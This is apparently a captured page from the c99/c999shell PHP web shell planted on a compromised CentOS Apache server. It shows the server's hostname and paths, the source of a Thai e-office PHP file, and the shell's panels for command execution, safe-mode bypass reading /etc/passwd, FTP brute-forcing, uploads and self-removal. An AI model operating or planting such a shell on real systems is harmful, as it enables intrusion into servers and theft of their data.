!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 53.7 GB of 127.8 GB (42.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printDetailStatusDoc.php (4.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"funct.php";
include_once 
"../class/clsDepartment.php";
 include_once 
"../class/clsDocLineConfig.php";
 include_once 
"../class/clsDocLinePosition.php";
 include_once 
"../class/clsDocReceiveSend.php";
 include_once 
"../class/clsPerson.php";
 include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDoc = new Documents($oC);    //
$oDoc2 = new Documents($oC);    //
$oDP = new Department($oC);
$oDP1 = new Department($oC);
$oDlc = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oPS = new person($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
    <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="checkStatusDoc.php">µÃǨÊͺàÊé¹·Ò§¡ÒÃÊè§Ë¹Ñ§Ê×Í</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">ÃÒÂÅÐàÍÕ´àÊé¹·Ò§¡ÒÃÊè§Ë¹Ñ§Ê×Í</font>
    </font></legend>
        <form name="ff"  target="_blank">
        <table width="99%" align="center">
            <tr align="center">
            <td align="center" colspan="2">
              <table width="90%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse">
              <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">
              <td width="10%" align="center"><strong>·Õè</strong></td>
                  <td width="25%" align="center"><strong>·Õè˹ѧÊ×Í</strong></td>
                  <td width="40%" align="center"><strong> àÃ×èͧ</strong></td>
                   <td width="15%" align="center"><strong>Çѹ·Õèŧ·ÐàºÕ¹</strong></td>
                <? 
                    
if($yearDoc == 0){
                        list(
$dd$mm$yy) = split('[/]',$start);
                        
$start=($yy+543)."-".$mm."-".$dd;
                        list(
$dd$mm$yy) = split('[/]',$end);
                        
$end=($yy+543)."-".$mm."-".$dd;
                    }else{
                        
$yy $yearDoc;
                        
$start $yy."-01-01";
                        
$end $yy."-12-31";
                    }
                    
$oDoc->SearchByDocTypeNoDocSubjectDocNoDeptIdfDeleteDocPID0($DocTypeNoStart,$DocTypeNoEnd,$DocSubject,$DocNo,$start,$end,$checkselectDate);
                    while(
$oDoc->GetRecord()){
                    if((
$i%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_17"]."\">";                    
            
?>      
            <td  align="center"><? echo $oDoc->DocTypeNo?></td>
            <td>&nbsp;&nbsp;<? echo $oDoc->DocNo?></td>
                <td >&nbsp;&nbsp;<a onClick = "showline('<? echo $oDoc->DocID;?>')" style="cursor:pointer;"><? echo "<br>&nbsp;&nbsp;".$oDoc->DocSubject?></a></td>
                <?php 
                            
list($DocD,$DocT) = split(' ',$oDoc->DocDateCreate);?>
                <td align="center"><? echo abbreDate2($DocD,'/')."<br>".a2th($DocT); ?></a></td>
            <? $i++;  
            } 
            if(
$i==0){
         
?>
        <tr><td colspan="4" align="center">äÁ辺ÃÒ¡ÒÃ˹ѧÊ×Í·Õè¤é¹ËÒ</td></tr> 
         <? ?>
            </table>
            </td></tr>
            <tr><td align="center" colspan="2"><input type="button" name="cancel" value="¡ÅѺ˹éÒËÅÑ¡" onClick="location.href = 'checkStatusDoc.php'"></td></tr>
            </table>
                 </form>
                 </fieldset> 
                 <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>ËÁÒÂà˵ؠ
            : </strong>&nbsp;</font></td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">¤ÅÔ¡·Õèª×èÍ˹ѧÊ×Íà¾×è͵ÃǨÊͺàÊé¹·Ò§¡ÒÃÊè§Ë¹Ñ§Ê×Í </font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; </font></td>
        </tr></table>
        </td>
        </tr>
</table>
</body>
</html>
<script>
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>     

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--